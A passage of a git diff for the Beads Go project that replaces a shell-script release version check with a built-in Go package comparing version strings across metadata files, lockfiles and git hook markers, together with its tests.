newVersion, fmt.Errorf("cannot update cmd/bd/version.go: %v", err) - } - return true, oldVersion, newVersion, nil -} diff --git a/cmd/bd/preflight_test.go b/cmd/bd/preflight_test.go index 5be1f4b59..4f7e54b3f 100644 --- a/cmd/bd/preflight_test.go +++ b/cmd/bd/preflight_test.go @@ -2,6 +2,7 @@ package main import ( "encoding/json" + "errors" "os" "os/exec" "path/filepath" @@ -12,6 +13,7 @@ import ( "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/testutil/bazeltest" + "github.com/steveyegge/beads/internal/versioncheck" ) func TestCheckResult_Passed(t *testing.T) { @@ -419,31 +421,213 @@ func TestRunBeadsPollutionCheck_Clean(t *testing.T) { } } -func TestRunVersionSyncCheck_ScriptFallback(t *testing.T) { - // Run from a temp dir where scripts/check-versions.sh does not exist. - // The fallback inline logic should be used, resulting in a skipped result - // because version.go won't be found either. +func TestRunVersionSyncCheck_GenericFallback(t *testing.T) { + // An unrelated directory retains the generic inline Go/Nix behavior. origDir, err := os.Getwd() if err != nil { t.Fatal(err) } dir := t.TempDir() + if err := os.MkdirAll(filepath.Join(dir, "cmd", "bd"), 0o755); err != nil { + t.Fatal(err) + } + for path, content := range map[string]string{ + "go.mod": "module example.com/unrelated\n\ngo 1.26.5\n", + "cmd/bd/version.go": "package main\n\nvar Version = \"2.3.4\"\n", + "default.nix": "{ version = \"2.3.4\"; }\n", + } { + if err := os.WriteFile( + filepath.Join(dir, filepath.FromSlash(path)), + []byte(content), + 0o644, + ); err != nil { + t.Fatal(err) + } + } if err := os.Chdir(dir); err != nil { t.Fatal(err) } defer os.Chdir(origDir) result := runVersionSyncCheck() - // Without version.go present, fallback should skip - if !result.Skipped { - // Could also pass if default.nix is also missing — both are acceptable fallback outcomes - if result.Passed && strings.Contains(result.Output, "not found") { - return // acceptable: nix not found skip + if !result.Passed || result.Skipped { + t.Fatalf("generic version fallback failed: %+v", result) + } + if result.Command != "Compare cmd/bd/version.go and default.nix" { + t.Fatalf("command = %q, want generic fallback", result.Command) + } + + if err := os.WriteFile( + filepath.Join(dir, "default.nix"), + []byte("{ version = \"9.9.9\"; }\n"), + 0o644, + ); err != nil { + t.Fatal(err) + } + result = runVersionSyncCheck() + if result.Passed || !strings.Contains(result.Output, "version.go=2.3.4, default.nix=9.9.9") { + t.Fatalf("generic mismatch was not preserved: %+v", result) + } +} + +func TestRunVersionSyncCheck_BeadsUsesBuiltInAuthority(t *testing.T) { + root := writeBeadsVersionFixture(t, "1.1.0") + // The historical entrypoint is intentionally hostile: production preflight + // must use the Go package directly, not execute this file or ambient bash. + if err := os.WriteFile( + filepath.Join(root, "scripts", "check-versions.sh"), + []byte("#!/bin/sh\nexit 86\n"), + 0o755, + ); err != nil { + t.Fatal(err) + } + + originalDirectory, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + if err := os.Chdir(root); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chdir(originalDirectory) }) + t.Setenv("PATH", "") + + result := runVersionSyncCheck() + if !result.Passed { + t.Fatalf("built-in Beads version check failed: %s", result.Output) + } + if result.Command != "built-in Beads release version check" { + t.Fatalf("command = %q, want built-in authority", result.Command) + } + + if err := os.WriteFile( + filepath.Join(root, "npm-package", "package.json"), + []byte(`{"version":"9.9.9"}`), + 0o644, + ); err != nil { + t.Fatal(err) + } + result = runVersionSyncCheck() + if result.Passed { + t.Fatal("mismatched released metadata unexpectedly passed") + } + if !strings.Contains(result.Output, "npm package.json: 9.9.9 (expected 1.1.0)") { + t.Fatalf("unexpected mismatch output: %q", result.Output) + } + + if err := os.WriteFile( + filepath.Join(root, "npm-package", "package.json"), + []byte(`{"version":"1.1.0"}`), + 0o644, + ); err != nil { + t.Fatal(err) + } + if err := os.WriteFile( + filepath.Join(root, ".githooks", "pre-push"), + []byte( + "# --- BEGIN BEADS INTEGRATION v9.9.9 ---\n"+ + "body\n# --- END BEADS INTEGRATION v1.1.0 ---\n", + ), + 0o755, + ); err != nil { + t.Fatal(err) + } + result = runVersionSyncCheck() + if result.Passed { + t.Fatal("mismatched tracked hook marker unexpectedly passed") + } + if !strings.Contains( + result.Output, + ".githooks/pre-push BEGIN marker: 9.9.9 (expected 1.1.0)", + ) { + t.Fatalf("unexpected tracked-hook mismatch output: %q", result.Output) + } +} + +func TestRunBeadsVersionSyncCheck_UVLockFreshness(t *testing.T) { + root := writeBeadsVersionFixture(t, "1.1.0") + tests := []struct { + name string + check versioncheck.UVLockChecker + wantPassed bool + wantContain string + wantAbsent string + }{ + { + name: "uv unavailable is a soft skip", + check: func(string) (bool, error) { return false, nil }, + wantPassed: true, + wantAbsent: "uv lock --check", + }, + { + name: "fresh lock passes", + check: func(string) (bool, error) { return true, nil }, + wantPassed: true, + wantContain: "MCP uv.lock: fresh (uv lock --check)", + }, + { + name: "stale lock fails", + check: func(string) (bool, error) { + return true, errors.New("lockfile needs regeneration") + }, + wantPassed: false, + wantContain: "MCP uv.lock: stale — run: uv lock --directory integrations/beads-mcp", + }, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + result := runBeadsVersionSyncCheckWithUV(root, test.check) + if result.Passed != test.wantPassed { + t.Fatalf("Passed = %v, want %v; result: %+v", result.Passed, test.wantPassed, result) + } + if !strings.Contains(result.Output, test.wantContain) { + t.Fatalf("Output = %q, want substring %q", result.Output, test.wantContain) + } + if test.wantAbsent != "" && strings.Contains(result.Output, test.wantAbsent) { + t.Fatalf("Output = %q, want %q absent", result.Output, test.wantAbsent) + } + }) + } +} + +func writeBeadsVersionFixture(t *testing.T, version string) string { + t.Helper() + root := t.TempDir() + // The Windows PE numeric fields must be purely numeric, so they carry the + // prerelease-stripped form. + base, _, _ := strings.Cut(version, "-") + files := map[string]string{ + "go.mod": "module github.com/steveyegge/beads\n\ngo 1.26.5\n", + "cmd/bd/version.go": "package main\n\nvar Version = \"" + version + "\"\n", + "scripts/update-versions.sh": "#!/bin/sh\n", + "integrations/beads-mcp/pyproject.toml": "[project]\nversion = \"" + version + "\"\n", + "integrations/beads-mcp/src/beads_mcp/__init__.py": "__version__ = \"" + version + "\"\n", + "integrations/beads-mcp/uv.lock": "[[package]]\nname = \"beads-mcp\"\nversion = \"" + version + "\"\n", + "plugins/beads/.claude-plugin/plugin.json": `{"version":"` + version + `"}`, + "plugins/beads/.codex-plugin/plugin.json": `{"version":"` + version + `"}`, + ".claude-plugin/marketplace.json": `{"plugins":[{"version":"` + version + `"}]}`, + "npm-package/package.json": `{"version":"` + version + `"}`, + "plugins/beads/.copilot-plugin/plugin.json": `{"version":"` + version + `"}`, + "cmd/bd/winres/winres.json": `{"RT_VERSION":{"#1":{"0000":{` + + `"fixed":{"file_version":"` + base + `","product_version":"` + base + `"},` + + `"info":{"0409":{"FileVersion":"` + version + + `","ProductVersion":"` + version + `"}}}}}}`, + "cmd/bd/winres/manifest.xml": "\n" + + "\n \n\n", + ".githooks/pre-push": "# --- BEGIN BEADS INTEGRATION v" + version + " ---\n" + + "body\n# --- END BEADS INTEGRATION v" + version + " ---\n", + } + for relativePath, content := range files { + path := filepath.Join(root, filepath.FromSlash(relativePath)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("create parent for %s: %v", relativePath, err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatalf("write %s: %v", relativePath, err) } } - if result.Command == "scripts/check-versions.sh" { - t.Fatal("expected fallback logic, not script invocation") - } + return root } // writeMarkerDir creates a temp dir containing the given marker files (each diff --git a/cmd/bd/preflight_versions.go b/cmd/bd/preflight_versions.go new file mode 100644 index 000000000..199c6bd86 --- /dev/null +++ b/cmd/bd/preflight_versions.go @@ -0,0 +1,69 @@ +package main + +import ( + "fmt" + + "github.com/steveyegge/beads/internal/versioncheck" +) + +func runBeadsVersionSyncCheck(root string) CheckResult { + return runBeadsVersionSyncCheckWithUV( + root, + versioncheck.CheckUVLockFreshness, + ) +} + +func runBeadsVersionSyncCheckWithUV( + root string, + checkUVLock versioncheck.UVLockChecker, +) CheckResult { + report, err := versioncheck.Check(root) + if err != nil { + output := err.Error() + if report.CanonicalVersion != "" { + output += "\nRun: scripts/update-versions.sh " + report.CanonicalVersion + } + return CheckResult{ + Name: "Version sync", + Passed: false, + Output: output, + Command: versioncheck.CommandDescription, + } + } + uvAvailable := false + if checkUVLock != nil { + var uvErr error + uvAvailable, uvErr = checkUVLock(root) + if uvAvailable && uvErr != nil { + return CheckResult{ + Name: "Version sync", + Passed: false, + Output: "MCP uv.lock: stale — run: uv lock --directory integrations/beads-mcp", + Command: versioncheck.CommandDescription, + } + } + } + output := report.SuccessMessage() + if uvAvailable { + output += "\nMCP uv.lock: fresh (uv lock --check)" + } + return CheckResult{ + Name: "Version sync", + Passed: true, + Output: output, + Command: versioncheck.CommandDescription, + } +} + +func resolveBeadsVersionRoot(start string) (string, bool, CheckResult) { + root, found, err := versioncheck.FindRoot(start) + if err == nil { + return root, found, CheckResult{} + } + return "", false, CheckResult{ + Name: "Version sync", + Passed: false, + Output: fmt.Sprintf("Cannot identify Beads release root: %v", err), + Command: versioncheck.CommandDescription, + } +} diff --git a/internal/versioncheck/BUILD.bazel b/internal/versioncheck/BUILD.bazel new file mode 100644 index 000000000..b439bcb54 --- /dev/null +++ b/internal/versioncheck/BUILD.bazel @@ -0,0 +1,20 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "versioncheck", + srcs = ["check.go"], + importpath = "github.com/steveyegge/beads/internal/versioncheck", + visibility = ["//:__subpackages__"], + deps = [ + "@com_github_burntsushi_toml//:toml", + "@org_golang_x_mod//modfile", + ], +) + +go_test( + name = "versioncheck_test", + srcs = ["check_test.go"], + data = ["//:release_metadata_files"], + embed = [":versioncheck"], + deps = ["//internal/testutil/bazeltest"], +) diff --git a/internal/versioncheck/check.go b/internal/versioncheck/check.go new file mode 100644 index 000000000..2d6f92f7f --- /dev/null +++ b/internal/versioncheck/check.go @@ -0,0 +1,923 @@ +package versioncheck + +import ( + "bytes" + "encoding/json" + "fmt" + "go/ast" + "go/parser" + "go/token" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "sort" + "strconv" + "strings" + + "github.com/BurntSushi/toml" + "golang.org/x/mod/modfile" +) + +const ( + // ModulePath identifies the Beads source module. + ModulePath = "github.com/steveyegge/beads" + + // CommandDescription is the stable preflight description for this checker. + CommandDescription = "built-in Beads release version check" +) + +type source struct { + path string + description string + read func(string) (string, error) + // expected derives the required value from the canonical version. A nil + // expected means the surface must carry the canonical version verbatim; + // the Windows PE numeric fields must be purely numeric, so they derive a + // prerelease-stripped form instead. + expected func(canonical string) string +} + +// SourceResult describes one metadata surface inspected by Check. +type SourceResult struct { + Description string + Version string + Expected string + Problem string +} + +// UVLockChecker runs the optional dependency-freshness check. The bool reports +// whether uv was available; an unavailable uv is a soft skip. +type UVLockChecker func(root string) (available bool, err error) + +var releaseSources = []source{ + { + path: "integrations/beads-mcp/pyproject.toml", + description: "MCP pyproject.toml", + read: readProjectTOMLVersion, + }, + { + path: "integrations/beads-mcp/src/beads_mcp/__init__.py", + description: "MCP __init__.py", + read: readPythonModuleVersion, + }, + { + path: "plugins/beads/.claude-plugin/plugin.json", + description: "Claude plugin.json", + read: readTopLevelJSONVersion, + }, + { + path: "plugins/beads/.codex-plugin/plugin.json", + description: "Codex plugin.json", + read: readTopLevelJSONVersion, + }, + { + path: ".claude-plugin/marketplace.json", + description: "Claude marketplace.json", + read: readMarketplaceJSONVersion, + }, + { + path: "npm-package/package.json", + description: "npm package.json", + read: readTopLevelJSONVersion, + }, + // update-versions.sh bumps this one too, but it was never gated before — + // so a drifted copilot manifest (the same drift class that carried stale + // .githooks markers through v1.2.0) would silently no-op the bump's + // old->new sed, pass this check, pass the pre-push hook and CI, and ship + // advertising the previous version. + { + path: "plugins/beads/.copilot-plugin/plugin.json", + description: "Copilot plugin.json", + read: readTopLevelJSONVersion, + }, + // Windows PE resource metadata. gen-winres.sh re-derives winres.json's + // numeric fields from version.go at build time, so those self-heal — but + // manifest.xml's version is embedded verbatim with no + // backstop, and update-versions.sh rewrites both with a sed anchored on + // the OLD value, so a drifted file is a silent no-op. Gate them. + { + path: "cmd/bd/winres/winres.json", + description: "winres.json file_version", + read: readWinresVersionField("RT_VERSION", "#1", "0000", "fixed", "file_version"), + expected: baseVersion, + }, + { + path: "cmd/bd/winres/winres.json", + description: "winres.json product_version", + read: readWinresVersionField("RT_VERSION", "#1", "0000", "fixed", "product_version"), + expected: baseVersion, + }, + { + path: "cmd/bd/winres/winres.json", + description: "winres.json FileVersion", + read: readWinresVersionField("RT_VERSION", "#1", "0000", "info", "0409", "FileVersion"), + }, + { + path: "cmd/bd/winres/winres.json", + description: "winres.json ProductVersion", + read: readWinresVersionField("RT_VERSION", "#1", "0000", "info", "0409", "ProductVersion"), + }, + { + path: "cmd/bd/winres/manifest.xml", + description: "manifest.xml assemblyIdentity version", + read: readManifestAssemblyVersion, + expected: assemblyIdentityVersion, + }, +} + +// manifestAssemblyVersionPattern anchors on line start: the XML declaration on +// line 1 also carries a version="1.0" attribute. +var manifestAssemblyVersionPattern = regexp.MustCompile(`(?m)^[ \t]*version="([0-9][^"]*)"`) + +var trackedHookMarkerPatterns = []struct { + name string + pattern *regexp.Regexp +}{ + { + name: "BEGIN", + pattern: regexp.MustCompile(`--- BEGIN BEADS INTEGRATION v([^ ]+) ---`), + }, + { + name: "END", + pattern: regexp.MustCompile(`--- END BEADS INTEGRATION v([^ ]+) ---`), + }, +} + +// Report describes a successful or failed release-version check. +type Report struct { + CanonicalVersion string + CheckedSources int + CheckedHookMarkers int + Sources []SourceResult +} + +// SuccessMessage formats the stable human-readable success result. +func (r Report) SuccessMessage() string { + return fmt.Sprintf( + "Versions match across %d release metadata checks, MCP uv.lock, and %d tracked hook markers: %s", + r.CheckedSources, + r.CheckedHookMarkers, + r.CanonicalVersion, + ) +} + +// Check compares every released metadata surface with cmd/bd/version.go. +func Check(root string) (Report, error) { + report := Report{CheckedSources: len(releaseSources)} + canonicalPath := filepath.Join(root, "cmd", "bd", "version.go") + canonical, err := readGoPackageVersion(canonicalPath) + if err != nil { + return report, fmt.Errorf( + "cannot read canonical version from cmd/bd/version.go: %w", + err, + ) + } + report.CanonicalVersion = canonical + + var problems []string + for _, item := range releaseSources { + expected := canonical + if item.expected != nil { + expected = item.expected(canonical) + } + version, readErr := item.read(filepath.Join(root, filepath.FromSlash(item.path))) + result := SourceResult{ + Description: item.description, + Version: version, + Expected: expected, + } + switch { + case readErr != nil: + result.Problem = readErr.Error() + problems = append( + problems, + fmt.Sprintf("%s: %v (expected %s)", item.description, readErr, expected), + ) + case version != expected: + result.Problem = fmt.Sprintf("version is %s", version) + problems = append( + problems, + fmt.Sprintf("%s: %s (expected %s)", item.description, version, expected), + ) + } + report.Sources = append(report.Sources, result) + } + + // uv.lock is not one of the six published metadata surfaces, but the + // existing release gate also requires its local beads-mcp package pin to + // match. Preserve that assertion without expanding the release inventory. + lockExpected := normalizePythonVersion(canonical) + lockVersion, lockErr := readUVLockPackageVersion( + filepath.Join(root, "integrations", "beads-mcp", "uv.lock"), + ) + lockResult := SourceResult{ + Description: "MCP uv.lock (beads-mcp pin)", + Version: lockVersion, + Expected: lockExpected, + } + switch { + case lockErr != nil: + lockResult.Problem = lockErr.Error() + problems = append( + problems, + fmt.Sprintf("%s: %v (expected %s)", lockResult.Description, lockErr, lockExpected), + ) + case lockVersion != lockExpected: + lockResult.Problem = fmt.Sprintf("version is %s", lockVersion) + problems = append( + problems, + fmt.Sprintf("%s: %s (expected %s)", lockResult.Description, lockVersion, lockExpected), + ) + } + report.Sources = append(report.Sources, lockResult) + + hookResults, hookProblems := checkTrackedHookMarkers(root, canonical) + report.CheckedHookMarkers = len(hookResults) + report.Sources = append(report.Sources, hookResults...) + problems = append(problems, hookProblems...) + + if len(problems) != 0 { + return report, fmt.Errorf( + "version mismatch detected:\n- %s", + strings.Join(problems, "\n- "), + ) + } + return report, nil +} + +func checkTrackedHookMarkers(root, canonical string) ([]SourceResult, []string) { + hooksDir := filepath.Join(root, ".githooks") + entries, err := os.ReadDir(hooksDir) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, []string{fmt.Sprintf("enumerate tracked git hooks: %v", err)} + } + + var results []SourceResult + var problems []string + for _, entry := range entries { + // Match the shell's .githooks/* expansion: leading-dot artifacts are + // not tracked hooks and are not rewritten by update-versions.sh. + if strings.HasPrefix(entry.Name(), ".") { + continue + } + path := filepath.Join(hooksDir, entry.Name()) + info, statErr := os.Stat(path) + if statErr != nil || !info.Mode().IsRegular() { + continue + } + + relative, relErr := filepath.Rel(root, path) + if relErr != nil { + relative = path + } + relative = filepath.ToSlash(relative) + + content, readErr := os.ReadFile(path) //nolint:gosec // path comes from the bounded .githooks directory + + for _, marker := range trackedHookMarkerPatterns { + description := relative + " " + marker.name + " marker" + result := SourceResult{ + Description: description, + Expected: canonical, + } + switch { + case readErr != nil: + result.Problem = readErr.Error() + problems = append( + problems, + fmt.Sprintf("%s: %v (expected %s)", description, readErr, canonical), + ) + default: + version, found := firstHookMarkerVersion(content, marker.pattern) + result.Version = version + switch { + case !found: + result.Problem = fmt.Sprintf( + "no '%s BEADS INTEGRATION' marker found", + marker.name, + ) + problems = append( + problems, + fmt.Sprintf("%s: %s", description, result.Problem), + ) + case version != canonical: + result.Problem = fmt.Sprintf("version is %s", version) + problems = append( + problems, + fmt.Sprintf("%s: %s (expected %s)", description, version, canonical), + ) + } + } + results = append(results, result) + } + } + return results, problems +} + +func firstHookMarkerVersion(content []byte, pattern *regexp.Regexp) (string, bool) { + for _, line := range bytes.Split(content, []byte{'\n'}) { + match := pattern.FindSubmatch(line) + if len(match) == 2 { + return string(match[1]), true + } + } + return "", false +} + +func normalizePythonVersion(version string) string { + version = strings.Replace(version, "-rc.", "rc", 1) + return strings.Replace(version, "-rc", "rc", 1) +} + +// CheckUVLockFreshness runs uv directly, without selecting a shell. A missing +// uv executable is an intentional soft skip; an available uv returning an +// error means the checked-in lockfile is stale or otherwise invalid. +func CheckUVLockFreshness(root string) (bool, error) { + uv, err := exec.LookPath("uv") + if err != nil { + return false, nil + } + cmd := exec.Command( + uv, + "lock", + "--check", + "--directory", + filepath.Join(root, "integrations", "beads-mcp"), + ) + return true, cmd.Run() +} + +// FindRoot walks from start toward the filesystem root and identifies the +// nearest Beads source module. A Beads-shaped root with missing, malformed, or +// conflicting module identity is an error rather than an unrelated project. +func FindRoot(start string) (string, bool, error) { + current, err := filepath.Abs(start) + if err != nil { + return "", false, fmt.Errorf("resolve start directory: %w", err) + } + current, err = filepath.EvalSymlinks(current) + if err != nil { + return "", false, fmt.Errorf("resolve start directory symlinks: %w", err) + } + for { + signature, signatureErr := hasBeadsSourceSignature(current) + if signatureErr != nil { + return "", false, signatureErr + } + + goModPath := filepath.Join(current, "go.mod") + content, readErr := os.ReadFile(goModPath) //nolint:gosec // path is derived from the bounded ancestor walk + switch { + case readErr == nil: + modulePath, parseErr := readModulePath(content) + if parseErr != nil { + if signature { + return "", false, fmt.Errorf( + "Beads-shaped source root %s has malformed go.mod: %w", + current, + parseErr, + ) + } + return "", false, nil + } + if modulePath == ModulePath { + return current, true, nil + } + if signature { + return "", false, fmt.Errorf( + "Beads-shaped source root %s declares module %q, want %q", + current, + modulePath, + ModulePath, + ) + } + return "", false, nil + case !os.IsNotExist(readErr): + return "", false, fmt.Errorf("inspect %s: %w", goModPath, readErr) + case signature: + return "", false, fmt.Errorf( + "Beads-shaped source root %s is missing go.mod", + current, + ) + } + + parent := filepath.Dir(current) + if parent == current { + return "", false, nil + } + current = parent + } +} + +func hasBeadsSourceSignature(root string) (bool, error) { + paths := []string{ + filepath.Join(root, "cmd", "bd", "version.go"), + filepath.Join(root, "scripts", "update-versions.sh"), + filepath.Join(root, "integrations", "beads-mcp", "pyproject.toml"), + filepath.Join(root, "plugins", "beads", ".codex-plugin", "plugin.json"), + } + found := 0 + for _, path := range paths { + info, err := os.Stat(path) + switch { + case err == nil && info.Mode().IsRegular(): + found++ + case err == nil: + continue + case os.IsNotExist(err): + continue + default: + return false, fmt.Errorf("inspect Beads source marker %s: %w", path, err) + } + } + return found >= 2, nil +} + +func readModulePath(content []byte) (string, error) { + file, err := modfile.Parse("go.mod", content, nil) + if err != nil { + return "", fmt.Errorf("parse go.mod: %w", err) + } + if file.Module == nil { + return "", fmt.Errorf("module directive not found") + } + return file.Module.Mod.Path, nil +} + +func readGoPackageVersion(path string) (string, error) { + file, err := parser.ParseFile(token.NewFileSet(), path, nil, 0) + if err != nil { + return "", fmt.Errorf("parse Go: %w", err) + } + var versions []string + for _, declaration := range file.Decls { + general, ok := declaration.(*ast.GenDecl) + if !ok { + continue + } + for _, specification := range general.Specs { + values, ok := specification.(*ast.ValueSpec) + if !ok { + continue + } + for index, name := range values.Names { + if name.Name != "Version" { + continue + } + if index >= len(values.Values) { + return "", fmt.Errorf("package-level Version has no direct value") + } + literal, ok := values.Values[index].(*ast.BasicLit) + if !ok || literal.Kind != token.STRING { + return "", fmt.Errorf("package-level Version must be a string literal") + } + value, unquoteErr := strconv.Unquote(literal.Value) + if unquoteErr != nil { + return "", fmt.Errorf("parse package-level Version: %w", unquoteErr) + } + versions = append(versions, value) + } + } + } + if len(versions) != 1 { + return "", fmt.Errorf( + "found %d package-level Version string assignments, want exactly one", + len(versions), + ) + } + return versions[0], nil +} + +func readProjectTOMLVersion(path string) (string, error) { + var document map[string]any + if _, err := toml.DecodeFile(path, &document); err != nil { + return "", fmt.Errorf("parse TOML: %w", err) + } + + projectValue, found, err := readExactTOMLField(document, "project", "[project]") + if err != nil { + return "", err + } + if !found { + return "", fmt.Errorf("non-empty string field [project].version not found") + } + project, ok := projectValue.(map[string]any) + if !ok { + return "", fmt.Errorf("field [project] must be a table") + } + + versionValue, found, err := readExactTOMLField( + project, + "version", + "[project].version", + ) + if err != nil { + return "", err + } + if !found { + return "", fmt.Errorf("non-empty string field [project].version not found") + } + version, ok := versionValue.(string) + if !ok { + return "", fmt.Errorf("field [project].version must be a string") + } + if version == "" { + return "", fmt.Errorf("non-empty string field [project].version not found") + } + return version, nil +} + +func readUVLockPackageVersion(path string) (string, error) { + var document map[string]any + if _, err := toml.DecodeFile(path, &document); err != nil { + return "", fmt.Errorf("parse TOML: %w", err) + } + + packageValue, found, err := readExactTOMLField(document, "package", "[[package]]") + if err != nil { + return "", err + } + if !found { + return "", fmt.Errorf("package entries not found") + } + packages, ok := packageValue.([]map[string]any) + if !ok { + return "", fmt.Errorf("field [[package]] must be an array of tables") + } + + var versions []string + for index, item := range packages { + qualified := fmt.Sprintf("[[package]][%d]", index) + nameValue, nameFound, nameErr := readExactTOMLField(item, "name", qualified+".name") + if nameErr != nil { + return "", nameErr + } + if !nameFound { + return "", fmt.Errorf("non-empty string field %s.name not found", qualified) + } + name, ok := nameValue.(string) + if !ok || name == "" { + return "", fmt.Errorf("field %s.name must be a non-empty string", qualified) + } + if name != "beads-mcp" { + continue + } + + versionValue, versionFound, versionErr := readExactTOMLField( + item, + "version", + qualified+".version", + ) + if versionErr != nil { + return "", versionErr + } + if !versionFound { + return "", fmt.Errorf("non-empty string field %s.version not found", qualified) + } + version, ok := versionValue.(string) + if !ok || version == "" { + return "", fmt.Errorf("field %s.version must be a non-empty string", qualified) + } + versions = append(versions, version) + } + if len(versions) != 1 { + return "", fmt.Errorf( + "found %d beads-mcp package entries, want exactly one", + len(versions), + ) + } + return versions[0], nil +} + +func readExactTOMLField( + table map[string]any, + name string, + qualifiedName string, +) (any, bool, error) { + var aliases []string + for candidate := range table { + if strings.EqualFold(candidate, name) { + aliases = append(aliases, candidate) + } + } + if len(aliases) == 0 { + return nil, false, nil + } + sort.Strings(aliases) + if len(aliases) != 1 || aliases[0] != name { + quoted := make([]string, len(aliases)) + for index, alias := range aliases { + quoted[index] = strconv.Quote(alias) + } + return nil, false, fmt.Errorf( + "field %s is ambiguous or uses non-exact casing: %s", + qualifiedName, + strings.Join(quoted, ", "), + ) + } + return table[name], true, nil +} + +func readPythonModuleVersion(path string) (string, error) { + content, err := os.ReadFile(path) //nolint:gosec // callers supply fixed repository-relative paths + if err != nil { + return "", err + } + + var ( + tripleQuote string + versions []string + ) + for lineNumber, line := range strings.Split(string(content), "\n") { + if tripleQuote == "" && strings.HasPrefix(line, "__version__") { + version, matched, parseErr := parsePythonVersionAssignment(line) + if parseErr != nil { + return "", fmt.Errorf("line %d: %w", lineNumber+1, parseErr) + } + if matched { + versions = append(versions, version) + continue + } + } + tripleQuote = scanPythonTripleQuotedState(line, tripleQuote) + } + if len(versions) != 1 { + return "", fmt.Errorf( + "found %d module-level __version__ string assignments, want exactly one", + len(versions), + ) + } + return versions[0], nil +} + +func parsePythonVersionAssignment(line string) (string, bool, error) { + const name = "__version__" + if !strings.HasPrefix(line, name) { + return "", false, nil + } + rest := line[len(name):] + if rest != "" && !strings.ContainsRune(" \t=", rune(rest[0])) { + return "", false, nil + } + rest = strings.TrimLeft(rest, " \t") + if !strings.HasPrefix(rest, "=") || strings.HasPrefix(rest, "==") { + return "", true, fmt.Errorf("%s must use a direct assignment", name) + } + rest = strings.TrimLeft(rest[1:], " \t") + if len(rest) < 2 || (rest[0] != '"' && rest[0] != '\'') { + return "", true, fmt.Errorf("%s must be assigned a string literal", name) + } + quote := rest[0] + end := -1 + for index := 1; index < len(rest); index++ { + if rest[index] == '\\' { + index++ + continue + } + if rest[index] == quote { + end = index + break + } + } + if end < 0 { + return "", true, fmt.Errorf("%s has an unterminated string literal", name) + } + literal := rest[:end+1] + if strings.Contains(literal, `\`) { + return "", true, fmt.Errorf("%s must not use escape sequences", name) + } + value := literal[1 : len(literal)-1] + trailing := strings.TrimSpace(rest[end+1:]) + if trailing != "" && !strings.HasPrefix(trailing, "#") { + return "", true, fmt.Errorf("%s has unexpected trailing syntax", name) + } + if value == "" { + return "", true, fmt.Errorf("%s must be non-empty", name) + } + return value, true, nil +} + +func scanPythonTripleQuotedState(line, active string) string { + for index := 0; index < len(line); { + if active != "" { + end := findUnescaped(line, active, index) + if end < 0 { + return active + } + index = end + len(active) + active = "" + continue + } + if line[index] == '#' { + return "" + } + if line[index] != '\'' && line[index] != '"' { + index++ + continue + } + quote := line[index] + if index+2 < len(line) && line[index+1] == quote && line[index+2] == quote { + active = line[index : index+3] + index += 3 + continue + } + index++ + for index < len(line) { + if line[index] == '\\' { + index += 2 + continue + } + if index < len(line) && line[index] == quote { + index++ + break + } + index++ + } + } + return active +} + +func findUnescaped(value, needle string, start int) int { + for { + index := strings.Index(value[start:], needle) + if index < 0 { + return -1 + } + index += start + backslashes := 0 + for position := index - 1; position >= 0 && value[position] == '\\'; position-- { + backslashes++ + } + if backslashes%2 == 0 { + return index + } + start = index + 1 + } +} + +// baseVersion strips the prerelease suffix, so 1.1.0-rc.1 becomes 1.1.0. The +// Windows PE numeric fields must be purely numeric, so they carry this rather +// than the canonical version. +func baseVersion(canonical string) string { + base, _, _ := strings.Cut(canonical, "-") + return base +} + +// assemblyIdentityVersion renders the four-part form manifest.xml embeds. +func assemblyIdentityVersion(canonical string) string { + return baseVersion(canonical) + ".0" +} + +// readWinresVersionField reads one nested string field from winres.json, whose +// version values sit under a fixed RT_VERSION resource path. +func readWinresVersionField(keys ...string) func(string) (string, error) { + return func(path string) (string, error) { + content, err := os.ReadFile(path) //nolint:gosec // callers supply fixed repository-relative paths + if err != nil { + return "", err + } + return readNestedUniqueJSONString(content, keys...) + } +} + +func readNestedUniqueJSONString(document []byte, keys ...string) (string, error) { + current := json.RawMessage(document) + for _, key := range keys[:len(keys)-1] { + next, err := readUniqueJSONField(current, key) + if err != nil { + return "", err + } + current = next + } + field := keys[len(keys)-1] + version, err := readUniqueJSONStringField(current, field) + if err != nil { + return "", err + } + if version == "" { + return "", fmt.Errorf("non-empty string field .%s not found", strings.Join(keys, ".")) + } + return version, nil +} + +func readManifestAssemblyVersion(path string) (string, error) { + content, err := os.ReadFile(path) //nolint:gosec // callers supply fixed repository-relative paths + if err != nil { + return "", err + } + match := manifestAssemblyVersionPattern.FindSubmatch(content) + if match == nil { + return "", fmt.Errorf("no assemblyIdentity version attribute found") + } + return string(match[1]), nil +} + +func readTopLevelJSONVersion(path string) (string, error) { + content, err := os.ReadFile(path) //nolint:gosec // callers supply fixed repository-relative paths + if err != nil { + return "", err + } + version, err := readUniqueJSONStringField(content, "version") + if err != nil { + return "", err + } + if version == "" { + return "", fmt.Errorf("non-empty string field .version not found") + } + return version, nil +} + +func readMarketplaceJSONVersion(path string) (string, error) { + content, err := os.ReadFile(path) //nolint:gosec // callers supply fixed repository-relative paths + if err != nil { + return "", err + } + pluginsJSON, err := readUniqueJSONField(content, "plugins") + if err != nil { + return "", err + } + var plugins []json.RawMessage + if err := json.Unmarshal(pluginsJSON, &plugins); err != nil { + return "", fmt.Errorf("parse JSON field .plugins: %w", err) + } + if len(plugins) == 0 { + return "", fmt.Errorf("non-empty string field .plugins[0].version not found") + } + version, err := readUniqueJSONStringField(plugins[0], "version") + if err != nil { + return "", fmt.Errorf(".plugins[0]: %w", err) + } + if version == "" { + return "", fmt.Errorf("non-empty string field .plugins[0].version not found") + } + return version, nil +} + +func readUniqueJSONStringField(document []byte, field string) (string, error) { + raw, err := readUniqueJSONField(document, field) + if err != nil { + return "", err + } + var value string + if err := json.Unmarshal(raw, &value); err != nil { + return "", fmt.Errorf("field .%s must be a string: %w", field, err) + } + return value, nil +} + +func readUniqueJSONField(document []byte, field string) (json.RawMessage, error) { + decoder := json.NewDecoder(bytes.NewReader(document)) + start, err := decoder.Token() + if err != nil { + return nil, 